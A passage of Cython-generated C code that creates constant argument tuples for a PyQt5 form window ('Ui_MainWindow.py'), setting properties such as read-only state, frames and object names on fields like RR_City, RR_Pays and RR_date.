__Pyx_GIVEREF(__pyx_tuple__287); /* "Ui_MainWindow.py":464 * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_Npa.setPlaceholderText("") * self.RR_Npa.setObjectName("RR_Npa") */ __pyx_tuple__288 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__288)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__288); __Pyx_GIVEREF(__pyx_tuple__288); /* "Ui_MainWindow.py":465 * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_Npa.setObjectName("RR_Npa") * self.horizontalLayout_8.addWidget(self.RR_Npa) */ __pyx_tuple__289 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__289)) __PYX_ERR(0, 465, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__289); __Pyx_GIVEREF(__pyx_tuple__289); /* "Ui_MainWindow.py":466 * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") * self.RR_Npa.setObjectName("RR_Npa") # <<<<<<<<<<<<<< * self.horizontalLayout_8.addWidget(self.RR_Npa) * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__290 = PyTuple_Pack(1, __pyx_n_u_RR_Npa); if (unlikely(!__pyx_tuple__290)) __PYX_ERR(0, 466, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__290); __Pyx_GIVEREF(__pyx_tuple__290); /* "Ui_MainWindow.py":469 * self.horizontalLayout_8.addWidget(self.RR_Npa) * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) # <<<<<<<<<<<<<< * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) */ __pyx_tuple__291 = PyTuple_Pack(2, __pyx_int_290, __pyx_int_0); if (unlikely(!__pyx_tuple__291)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__291); __Pyx_GIVEREF(__pyx_tuple__291); /* "Ui_MainWindow.py":470 * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) * self.RR_City.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") */ __pyx_tuple__292 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__292)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__292); __Pyx_GIVEREF(__pyx_tuple__292); /* "Ui_MainWindow.py":471 * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") */ __pyx_tuple__293 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__293)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__293); __Pyx_GIVEREF(__pyx_tuple__293); /* "Ui_MainWindow.py":472 * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") # <<<<<<<<<<<<<< * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") */ __pyx_tuple__294 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__294)) __PYX_ERR(0, 472, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__294); __Pyx_GIVEREF(__pyx_tuple__294); /* "Ui_MainWindow.py":473 * self.RR_City.setAcceptDrops(False) * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") */ __pyx_tuple__295 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__295)) __PYX_ERR(0, 473, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__295); __Pyx_GIVEREF(__pyx_tuple__295); /* "Ui_MainWindow.py":474 * self.RR_City.setToolTip("") * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") */ __pyx_tuple__296 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__296)) __PYX_ERR(0, 474, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__296); __Pyx_GIVEREF(__pyx_tuple__296); /* "Ui_MainWindow.py":475 * self.RR_City.setStatusTip("") * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") */ __pyx_tuple__297 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__297)) __PYX_ERR(0, 475, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__297); __Pyx_GIVEREF(__pyx_tuple__297); /* "Ui_MainWindow.py":476 * self.RR_City.setAccessibleName("") * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") # <<<<<<<<<<<<<< * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) */ __pyx_tuple__298 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__298)) __PYX_ERR(0, 476, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__298); __Pyx_GIVEREF(__pyx_tuple__298); /* "Ui_MainWindow.py":477 * self.RR_City.setAccessibleDescription("") * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") # <<<<<<<<<<<<<< * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) */ __pyx_tuple__299 = PyTuple_Pack(1, __pyx_n_u_R_Localit); if (unlikely(!__pyx_tuple__299)) __PYX_ERR(0, 477, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__299); __Pyx_GIVEREF(__pyx_tuple__299); /* "Ui_MainWindow.py":478 * self.RR_City.setInputMask("") * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) # <<<<<<<<<<<<<< * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") */ __pyx_tuple__300 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__300)) __PYX_ERR(0, 478, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__300); __Pyx_GIVEREF(__pyx_tuple__300); /* "Ui_MainWindow.py":479 * self.RR_City.setText("R_Localit") * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_City.setPlaceholderText("") * self.RR_City.setObjectName("RR_City") */ __pyx_tuple__301 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__301)) __PYX_ERR(0, 479, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__301); __Pyx_GIVEREF(__pyx_tuple__301); /* "Ui_MainWindow.py":480 * self.RR_City.setFrame(False) * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_City.setObjectName("RR_City") * self.horizontalLayout_8.addWidget(self.RR_City) */ __pyx_tuple__302 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__302)) __PYX_ERR(0, 480, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__302); __Pyx_GIVEREF(__pyx_tuple__302); /* "Ui_MainWindow.py":481 * self.RR_City.setReadOnly(True) * self.RR_City.setPlaceholderText("") * self.RR_City.setObjectName("RR_City") # <<<<<<<<<<<<<< * self.horizontalLayout_8.addWidget(self.RR_City) * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) */ __pyx_tuple__303 = PyTuple_Pack(1, __pyx_n_u_RR_City); if (unlikely(!__pyx_tuple__303)) __PYX_ERR(0, 481, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__303); __Pyx_GIVEREF(__pyx_tuple__303); /* "Ui_MainWindow.py":485 * self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_38.setObjectName("label_38") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) */ __pyx_tuple__304 = PyTuple_Pack(1, __pyx_n_u_label_38); if (unlikely(!__pyx_tuple__304)) __PYX_ERR(0, 485, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__304); __Pyx_GIVEREF(__pyx_tuple__304); /* "Ui_MainWindow.py":488 * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) * self.RR_Pays.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") */ __pyx_tuple__305 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__305)) __PYX_ERR(0, 488, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__305); __Pyx_GIVEREF(__pyx_tuple__305); /* "Ui_MainWindow.py":489 * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) * self.RR_Pays.setToolTip("") * self.RR_Pays.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") */ __pyx_tuple__306 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__306)) __PYX_ERR(0, 489, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__306); __Pyx_GIVEREF(__pyx_tuple__306); /* "Ui_MainWindow.py":490 * self.RR_Pays.setToolTip("") * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Pays.setAccessibleDescription("") * self.RR_Pays.setObjectName("RR_Pays") */ __pyx_tuple__307 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__307)) __PYX_ERR(0, 490, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__307); __Pyx_GIVEREF(__pyx_tuple__307); /* "Ui_MainWindow.py":491 * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Pays.setObjectName("RR_Pays") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) */ __pyx_tuple__308 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__308)) __PYX_ERR(0, 491, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__308); __Pyx_GIVEREF(__pyx_tuple__308); /* "Ui_MainWindow.py":492 * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") * self.RR_Pays.setObjectName("RR_Pays") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__309 = PyTuple_Pack(1, __pyx_n_u_RR_Pays); if (unlikely(!__pyx_tuple__309)) __PYX_ERR(0, 492, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__309); __Pyx_GIVEREF(__pyx_tuple__309); /* "Ui_MainWindow.py":495 * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_39.setObjectName("label_39") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) */ __pyx_tuple__310 = PyTuple_Pack(1, __pyx_n_u_label_39); if (unlikely(!__pyx_tuple__310)) __PYX_ERR(0, 495, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__310); __Pyx_GIVEREF(__pyx_tuple__310); /* "Ui_MainWindow.py":499 * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_date.setToolTip("") # <<<<<<<<<<<<<< * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") */ __pyx_tuple__311 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__311)) __PYX_ERR(0, 499, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__311); __Pyx_GIVEREF(__pyx_tuple__311); /* "Ui_MainWindow.py":500 * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_date.setToolTip("") * self.RR_date.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_date.setAccessibleName("") * self.RR_date.setAccessibleDescription("") */ __pyx_tuple__312 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__312)) __PYX_ERR(0, 500, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__312); __Pyx_GIVEREF(__pyx_tuple__312); /* "Ui_MainWindow.py":501 * self.RR_date.setToolTip("") * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_date.setAccessibleDescription("") * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) */ __pyx_tuple__313 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__313)) __PYX_ERR(0, 501, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__313); __Pyx_GIVEREF(__pyx_tuple__313); /* "Ui_MainWindow.py":502 * self.RR_date.setStatusTip("") * self.RR_date.setAccessibleName("") * self.RR_date.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) */ __pyx_tuple__314 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__314)) __PYX_ERR(0, 502, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__314); __Pyx_GIVEREF(__pyx_tuple__314); /* "Ui_MainWindow.py":504 * self.RR_date.setAccessibleDescription("") * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) # <<<<<<<<<<<<<< * self.RR_date.setReadOnly(True) * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) */ __pyx_tuple__315 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__315)) __PYX_ERR(0, 504, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__315); __Pyx_GIVEREF(__pyx_tuple__315); /* "Ui_MainWindow.py":505 * self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) * self.RR_date.setFrame(False) * self.RR_date.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") */ __pyx_tuple__316 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__316)) __PYX_ERR(0, 505, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__316); __Pyx_GIVEREF(__pyx_tuple__316); /* "Ui_MainWindow.py":507 * self.RR_date.setReadOnly(True) * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") # <<<<<<<<<<<<<< * self.RR_date.setKeyboardTracking(False) * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) */ __pyx_tuple__317 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__317)) __PYX_ERR(0, 507, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__317); __Pyx_GIVEREF(__pyx_tuple__317); /* "Ui_MainWindow.py":508 * self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) * self.RR_date.setSpecialValueText("") * self.RR_date.setKeyboardTracking(False) # <<<<<<<<<<<<<< * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) */ __pyx_tuple__318 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__318)) __PYX_ERR(0, 508, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__318); __Pyx_GIVEREF(__pyx_tuple__318); /* "Ui_MainWindow.py":509 * self.RR_date.setSpecialValueText("") * self.RR_date.setKeyboardTracking(False) * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) # <<<<<<<<<<<<<< * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) */ __pyx_tuple__319 = PyTuple_Pack(3, __pyx_int_7918, __pyx_int_1, __pyx_int_1); if (unlikely(!__pyx_tuple__319)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__319); __Pyx_GIVEREF(__pyx_tuple__319); __pyx_tuple__320 = PyTuple_Pack(3, __pyx_int_23, __pyx_int_59, __pyx_int_59); if (unlikely(!__pyx_tuple__320)) __PYX_ERR(0, 509, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__320); __Pyx_GIVEREF(__pyx_tuple__320); /* "Ui_MainWindow.py":510 * self.RR_date.setKeyboardTracking(False) * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) # <<<<<<<<<<<<<< * self.RR_date.setCalendarPopup(False) * self.RR_date.setObjectName("RR_date") */ __pyx_tuple__321 = PyTuple_Pack(3, __pyx_int_7918, __pyx_int_1, __pyx_int_1); if (unlikely(!__pyx_tuple__321)) __PYX_ERR(0, 510, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__321); __Pyx_GIVEREF(__pyx_tuple__321); /* "Ui_MainWindow.py":511 * self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) # <<<<<<<<<<<<<< * self.RR_date.setObjectName("RR_date") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) */ __pyx_tuple__322 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__322)) __PYX_ERR(0, 511, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__322); __Pyx_GIVEREF(__pyx_tuple__322); /* "Ui_MainWindow.py":512 * self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.RR_date.setCalendarPopup(False) * self.RR_date.setObjectName("RR_date") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__323 = PyTuple_Pack(1, __pyx_n_u_RR_date); if (unlikely(!__pyx_tuple__323)) __PYX_ERR(0, 512, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__323); __Pyx_GIVEREF(__pyx_tuple__323); /* "Ui_MainWindow.py":515 * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) * self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_45.setObjectName("label_45") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__324 = PyTuple_Pack(1, __pyx_n_u_label_45); if (unlikely(!__pyx_tuple__324)) __PYX_ERR(0, 515, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__324); __Pyx_GIVEREF(__pyx_tuple__324); /* "Ui_MainWindow.py":518 * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_number.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") */ __pyx_tuple__325 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__325)) __PYX_ERR(0, 518, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__325); __Pyx_GIVEREF(__pyx_tuple__325); /* "Ui_MainWindow.py":519 * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_number.setMouseTracking(False) * self.RR_number.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") */ __pyx_tuple__326 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__326)) __PYX_ERR(0, 519, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__326); __Pyx_GIVEREF(__pyx_tuple__326); /* "Ui_MainWindow.py":520 * self.RR_number.setMouseTracking(False) * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") # <<<<<<<<<<<<<< * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") */ __pyx_tuple__327 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__327)) __PYX_ERR(0, 520, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__327); __Pyx_GIVEREF(__pyx_tuple__327); /* "Ui_MainWindow.py":521 * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_number.setAccessibleName("") * self.RR_number.setAccessibleDescription("") */ __pyx_tuple__328 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__328)) __PYX_ERR(0, 521, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__328); __Pyx_GIVEREF(__pyx_tuple__328); /* "Ui_MainWindow.py":522 * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_number.setAccessibleDescription("") * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_tuple__329 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__329)) __PYX_ERR(0, 522, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__329); __Pyx_GIVEREF(__pyx_tuple__329); /* "Ui_MainWindow.py":523 * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") * self.RR_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") */ __pyx_tuple__330 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__330)) __PYX_ERR(0, 523, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__330); __Pyx_GIVEREF(__pyx_tuple__330); /* "Ui_MainWindow.py":525 * self.RR_number.setAccessibleDescription("") * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") # <<<<<<<<<<<<<< * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) */ __pyx_tuple__331 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__331)) __PYX_ERR(0, 525, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__331); __Pyx_GIVEREF(__pyx_tuple__331); /* "Ui_MainWindow.py":526 * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") * self.RR_number.setText("00000") # <<<<<<<<<<<<<< * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) */ __pyx_tuple__332 = PyTuple_Pack(1, __pyx_kp_u_00000); if (unlikely(!__pyx_tuple__332)) __PYX_ERR(0, 526, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__332); __Pyx_GIVEREF(__pyx_tuple__332); /* "Ui_MainWindow.py":527 * self.RR_number.setInputMask("") * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) */ __pyx_tuple__333 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__333)) __PYX_ERR(0, 527, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__333); __Pyx_GIVEREF(__pyx_tuple__333); /* "Ui_MainWindow.py":528 * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) # <<<<<<<<<<<<<< * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") */ __pyx_tuple__334 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__334)) __PYX_ERR(0, 528, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__334); __Pyx_GIVEREF(__pyx_tuple__334); /* "Ui_MainWindow.py":529 * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_number.setPlaceholderText("") * self.RR_number.setObjectName("RR_number") */ __pyx_tuple__335 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__335)) __PYX_ERR(0, 529, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__335); __Pyx_GIVEREF(__pyx_tuple__335); /* "Ui_MainWindow.py":530 * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_number.setObjectName("RR_number") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) */ __pyx_tuple__336 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__336)) __PYX_ERR(0, 530, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__336); __Pyx_GIVEREF(__pyx_tuple__336); /* "Ui_MainWindow.py":531 * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") * self.RR_number.setObjectName("RR_number") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_tuple__337 = PyTuple_Pack(1, __pyx_n_u_RR_number); if (unlikely(!__pyx_tuple__337)) __PYX_ERR(0, 531, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__337); __Pyx_GIVEREF(__pyx_tuple__337); /* "Ui_MainWindow.py":534 * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_46.setObjectName("label_46") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_tuple__338 = PyTuple_Pack(1, __pyx_n_u_label_46); if (unlikely(!__pyx_tuple__338)) __PYX_ERR(0, 534, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__338); __Pyx_GIVEREF(__pyx_tuple__338); /* "Ui_MainWindow.py":538 * self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__339 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__339)) __PYX_ERR(0, 538, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__339); __Pyx_GIVEREF(__pyx_tuple__339); /* "Ui_MainWindow.py":539 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) * self.RR_licences.setSizePolicy(sizePolicy) */ __pyx_tuple__340 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__340)) __PYX_ERR(0, 539, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__340); __Pyx_GIVEREF(__pyx_tuple__340); /* "Ui_MainWindow.py":542 * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) * self.RR_licences.setSizePolicy(sizePolicy) * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) */ __pyx_tuple__341 = PyTuple_Pack(2, 